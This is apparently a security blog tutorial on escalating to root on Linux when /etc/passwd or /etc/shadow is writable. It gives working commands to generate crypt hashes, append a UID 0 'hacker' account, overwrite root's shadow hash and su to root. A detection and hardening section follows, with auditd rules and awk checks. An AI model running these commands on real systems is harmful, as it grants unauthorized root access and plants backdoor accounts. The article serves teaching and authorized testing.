Introduction / Overview
A misconfigured file permission on a single, critical system file is sometimes all that stands between a low-privileged shell and full root. On Linux, /etc/passwd is one of the most rewarding targets: if your unprivileged user can write to it, you can plant a brand-new UID 0 account with a password you control and su straight into root.
In this article you will learn exactly why a writable /etc/passwd (or /etc/shadow) is fatal, how the legacy password-hash field in /etc/passwd still works, how to generate a valid hash with openssl passwd, and how to perform the escalation step by step. We close with a thorough Detection & Defense section, because the fix here is trivially cheap once you know what to look for.
Legal & Ethical Disclaimer
This content is provided strictly for education and for authorized penetration testing on systems you own or have explicit, written permission to test. Modifying authentication files on a system you do not control is illegal in virtually every jurisdiction. Do not run any of these commands against production or third-party systems without authorization.
How it works / Background
/etc/passwd is world-readable and stores one account per line, with seven colon-separated fields:
username:password:UID:GID:GECOS:home:shellPlaintextThe second field is the password placeholder. On modern systems it is almost always x, which tells the system "the real hash lives in /etc/shadow" (a file readable only by root). This is the classic shadow split introduced to keep hashes out of a world-readable file.
The crucial historical detail: the authentication stack still honors a password hash placed directly in the second field of /etc/passwd. If that field contains a valid crypt(3) hash instead of x, login routines (login, su, PAM's pam_unix) will validate against it. So an attacker who can write /etc/passwd does not even need /etc/shadow; they can inline the hash.
Two privilege-escalation primitives follow:
- Writable
/etc/passwd— add a newUID 0entry with an inline hash, or replacexfor an existing account. - Writable
/etc/shadow— overwrite the hash field forrootwith one you control, thensu root.
UID 0 is what actually confers root authority — the username ("root", "rootz", "backdoor") is irrelevant. The kernel checks the numeric UID, so any account with UID 0 is root.
Prerequisites / Lab setup
You need a low-privileged shell and a misconfigured permission. To build a safe lab, deliberately weaken the file on a throwaway VM:
# As root, in a disposable VM only — create the vulnerable condition
chmod o+w /etc/passwd
ls -l /etc/passwd
# -rw-r--rw- 1 root root 2310 Jun 11 10:00 /etc/passwdBashAs the unprivileged attacker, confirm you can write:
id
# uid=1000(lowpriv) gid=1000(lowpriv) groups=1000(lowpriv)
ls -l /etc/passwd
# -rw-r--rw- 1 root root 2310 Jun 11 10:00 /etc/passwd
# A quick non-destructive write test
[ -w /etc/passwd ] && echo "WRITABLE"BashDuring real enumeration, tools like linpeas.sh and a manual find flag this immediately:
find /etc/passwd /etc/shadow -writable 2>/dev/nullBashAttack walkthrough / PoC
Step 1 — Generate a password hash
openssl passwd produces a crypt-compatible hash. The classic, near-universally accepted format is the legacy DES/MD5 form. Use -1 for an MD5-crypt ($1$) hash, or -6 for a modern SHA-512 ($6$) hash on newer OpenSSL builds:
# MD5-crypt — works on virtually every Linux login stack
openssl passwd -1 -salt abc 'Passw0rd!'
# $1$abc$pErQX.7 I... (truncated)
# SHA-512-crypt (OpenSSL 1.1.0+) — stronger, preferred where supported
openssl passwd -6 -salt mysalt 'Passw0rd!'
# $6$mysalt$...BashIf openssl is missing, mkpasswd from the whois package or a one-line Python call works just as well:
python3 -c 'import crypt; print(crypt.crypt("Passw0rd!", crypt.mksalt(crypt.METHOD_SHA512)))'BashStep 2 — Append a UID 0 account to /etc/passwd
Put the hash in the second field and set both UID and GID to 0:
echo 'hacker:$1$abc$pErQX...:0:0:pwned:/root:/bin/bash' >> /etc/passwdBashField breakdown:
hacker— the new account name (arbitrary).$1$abc$...— the inline crypt hash (no shadow needed).0:0— UID 0, GID 0: this is what makes it root./rootand/bin/bash— home directory and login shell.
Step 3 — Switch to the new root account
su hacker
# Password: Passw0rd!
id
# uid=0(hacker) gid=0(root) groups=0(root)BashYou now have an interactive UID 0 shell.
Variant — Writable /etc/shadow instead
If only /etc/shadow is writable, generate a hash and overwrite root's hash field (field 2 of root's line):
# Read current shadow line (you can write but may also be able to read)
grep '^root:' /etc/shadow
# Generate a SHA-512 hash
NEWHASH=$(openssl passwd -6 -salt s4lt 'Passw0rd!')
# Replace root's hash field; back up first in real engagements
sed -i "s|^root:[^:]*:|root:${NEWHASH}:|" /etc/shadow
su root
# Password: Passw0rd!BashOperational note
Always preserve a copy of the original file before tampering and restore it during cleanup — modifying /etc/passwd or /etc/shadow is high-impact and easy to break. Related primitives such as abusing SUID binaries and exploiting sudo misconfigurations follow the same "find a writable or over-permissive root resource" philosophy.
Attack flow diagram

Text summary: from a low-privileged shell, find that /etc/passwd or /etc/shadow is writable, craft a hash with openssl passwd, inject a UID 0 entry or overwrite root's hash, then su to obtain a root shell.
Detection & Defense (Blue Team)
The defensive story is short because the root cause is a single permission bit. Prioritize these controls.
1. Restore correct permissions and ownership. The only correct mode is 644 (-rw-r--r--) for /etc/passwd and 000/640 for /etc/shadow, both owned by root:root:
chown root:root /etc/passwd /etc/shadow
chmod 644 /etc/passwd
chmod 640 /etc/shadow # or 000 on stricter distros; root still reads itBash2. Continuously audit for anomalous UID 0 accounts. Any account other than root with UID 0 is suspicious:
awk -F: '($3 == 0) {print $1}' /etc/passwd
# Should print ONLY: rootBash3. File Integrity Monitoring (FIM). Deploy AIDE, Tripwire, or Samhain and alert on any change to /etc/passwd and /etc/shadow. Pair with the kernel auditd subsystem to capture who wrote the file:
auditctl -w /etc/passwd -p wa -k passwd_changes
auditctl -w /etc/shadow -p wa -k shadow_changes
ausearch -k passwd_changesBashThese watch rules map to MITRE ATT&CK T1098 (Account Manipulation) and T1222.002 (File and Directory Permissions Modification: Linux).
4. Detect inline hashes. A legitimate modern /etc/passwd has x (or */!) in the second field. Flag any line where field 2 looks like a crypt hash:
awk -F: '$2 ~ /^\$[0-9a-z]+\$/ {print "INLINE HASH: " $0}' /etc/passwdBash5. Mandatory Access Control. SELinux (shadow_t / passwd_file_t labels) and AppArmor confine which processes may write these files, blocking the abuse even if DAC permissions are wrong.
6. Lock down the toolchain (defense in depth). Removing or restricting openssl, mkpasswd, and a writable Python is not a real fix — the attacker can compute a hash off-host — but FIM and correct permissions are. Treat the permission as the control of record.
For broader hardening guidance, see our Linux post-exploitation enumeration checklist.
Conclusion
A writable /etc/passwd or /etc/shadow is a near-instant path to root because the Linux authentication stack trusts an inline crypt hash and grants root to any UID 0 account, regardless of name. The offense is a three-command exercise: hash with openssl passwd, append a UID 0 line, and su. The defense is equally simple — enforce 644/640 ownership, alert on any non-root UID 0 account, and wire auditd/FIM to these files. As always, the cheapest win is preventing the misconfiguration from ever shipping.
References
- MITRE ATT&CK — T1098 Account Manipulation: https://attack.mitre.org/techniques/T1098/
- MITRE ATT&CK — T1222.002 File and Directory Permissions Modification (Linux): https://attack.mitre.org/techniques/T1222/002/
- HackTricks — Linux Privilege Escalation (writable /etc/passwd): https://book.hacktricks.xyz/linux-hardening/privilege-escalation
- man7.org — passwd(5), shadow(5), crypt(3): https://man7.org/linux/man-pages/man5/passwd.5.html
- OpenSSL — passwd command documentation: https://docs.openssl.org/master/man1/openssl-passwd/
- GTFOBins (related write primitives): https://gtfobins.github.io/



Comments